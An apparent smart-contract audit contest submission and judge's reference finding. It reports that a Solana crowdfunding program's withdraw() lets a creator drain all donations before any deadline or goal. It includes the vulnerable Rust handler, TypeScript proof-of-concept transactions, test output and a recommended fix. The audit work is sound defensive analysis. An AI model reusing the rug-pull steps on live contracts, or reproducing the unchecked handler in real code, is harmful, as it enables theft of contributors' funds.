Rust Fund

AI First Flight #9
Beginner FriendlyRust
EXP
View results
Submission Details
Severity: high
Valid

withdraw() has no deadline/goal/state checks — the creator can drain all contributed funds at any moment (instant rug pull)

Root + Impact

Description

  • Per the README spec, withdrawals belong to successful campaigns only — "Creators can withdraw funds once their campaign succeeds". The handler is expected to enforce this before releasing funds.

  • withdraw() checks nothing but ownership: no deadline reached, no goal met, no terminal state. The creator can drain every donation immediately after the first contribution, before any deadline passes.

pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
let amount = ctx.accounts.fund.amount_raised;
// @> no check on fund.deadline, fund.goal, or any campaign state
**fund.to_account_info().try_borrow_mut_lamports()? = fund.to_account_info().lamports()
.checked_sub(amount).ok_or(ProgramError::InsufficientFunds)?;
**creator.to_account_info().try_borrow_mut_lamports()? = creator.to_account_info().lamports()
.checked_add(amount).ok_or(ErrorCode::CalculationOverflow)?;
Ok(()) // fund.amount_raised is never reset either
}

Risk

Likelihood:

  • Reason 1: The attack requires only a malicious creator key and ~0.04 SOL for rent + fees — no deadline to wait for, no goal to reach, no special on-chain state.

  • Reason 2: Every campaign ever created exposes the path; the attack is one transaction after any victim contribution.

Impact:

  • Impact 1: All contributed funds are stolen with zero conditions — the platform becomes a direct donation pipe to the creator's wallet.

  • Impact 2: Victims have no recourse: refund() pays 0 lamports (accrual bug, separate finding), and once only rent remains in the PDA any corrected refund would revert.

Proof of Concept

The attacker creates a campaign with an unreachable goal and no deadline, lets the victim contribute 10 SOL, then withdraws in the very next transaction.

// 1) attacker creates a campaign — no deadline set
await program.methods.fundCreate("rug", "desc", new BN(1_000 * LAMPORTS_PER_SOL))
.accounts({ fund: fundPda, creator: attacker, systemProgram: SystemProgram.programId })
.signers([attacker]).rpc();
​
// 2) victim contributes 10 SOL
await program.methods.contribute(new BN(10 * LAMPORTS_PER_SOL))
.accounts({ fund: fundPda, contributor: victim, contribution: contributionPda, systemProgram: SystemProgram.programId })
.signers([victim]).rpc();
​
// 3) attacker withdraws everything, same minute — no checks exist
await program.methods.withdraw()
.accounts({ fund: fundPda, creator: attacker })
.signers([attacker]).rpc();

Expected result: the withdraw succeeds immediately; the attacker gains ~10 SOL, the fund PDA keeps only rent. (tests/rustfund.ts performs an equivalent withdraw on a failed campaign, just without the balance assertion.)

Recommended Mitigation

Gate the withdrawal on both success conditions from the spec (deadline passed, goal reached), then settle the ledger so the same funds cannot be paid out twice. A Withdrawn terminal state additionally locks the campaign against post-payout donations.

pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
let fund = &mut ctx.accounts.fund;
+ let now: u64 = Clock::get()?.unix_timestamp.try_into().unwrap();
+ require!(fund.deadline != 0 && fund.deadline <= now, ErrorCode::DeadlineNotReached);
+ require!(fund.amount_raised >= fund.goal, ErrorCode::GoalNotReached);
let amount = ctx.accounts.fund.amount_raised;
...
+ fund.amount_raised -= amount; // or set a Withdrawn terminal state
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] No check for if campaign reached deadline before withdraw

## Description A Malicious creator can withdraw funds before the campaign's deadline. ## Vulnerability Details There is no check in withdraw if the campaign ended before the creator can withdraw funds. ```Rust pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> { let amount = ctx.accounts.fund.amount_raised; **ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.fund.to_account_info().lamports() .checked_sub(amount) .ok_or(ProgramError::InsufficientFunds)?; **ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.creator.to_account_info().lamports() .checked_add(amount) .ok_or(ErrorCode::CalculationOverflow)?; Ok(()) } ``` ## Impact A Malicious creator can withdraw all the campaign funds before deadline which is against the intended logic of the program. ## Recommendations Add check for if campaign as reached deadline before a creator can withdraw ```Rust pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> { //add this if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() { return Err(ErrorCode::DeadlineNotReached.into()); } //stops here let amount = ctx.accounts.fund.amount_raised; **ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.fund.to_account_info().lamports() .checked_sub(amount) .ok_or(ProgramError::InsufficientFunds)?; **ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.creator.to_account_info().lamports() .checked_add(amount) .ok_or(ErrorCode::CalculationOverflow)?; Ok(()) } ``` ## POC keep everything in `./tests/rustfund.rs` up on to `Contribute to fund` test, then add the below: ```TypeScript it("Creator withdraws funds when deadline is not reached", async () => { const creatorBalanceBefore = await provider.connection.getBalance(creator.publicKey); const fund = await program.account.fund.fetch(fundPDA); await new Promise(resolve => setTimeout(resolve, 150)); //default 15000 console.log("goal", fund.goal.toNumber()); console.log("fundBalance", await provider.connection.getBalance(fundPDA)); console.log("creatorBalanceBefore", await provider.connection.getBalance(creator.publicKey)); await program.methods .withdraw() .accounts({ fund: fundPDA, creator: creator.publicKey, systemProgram: anchor.web3.SystemProgram.programId, }) .rpc(); const creatorBalanceAfter = await provider.connection.getBalance(creator.publicKey); console.log("creatorBalanceAfter", creatorBalanceAfter); console.log("fundBalanceAfter", await provider.connection.getBalance(fundPDA)); }); ``` this outputs: ```Python goal 1000000000 fundBalance 537590960 creatorBalanceBefore 499999999460946370 creatorBalanceAfter 499999999960941400 fundBalanceAfter 37590960 ✔ Creator withdraws funds when deadline is not reached (398ms) ``` We can notice that the creator withdraws funds from the campaign before the deadline.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!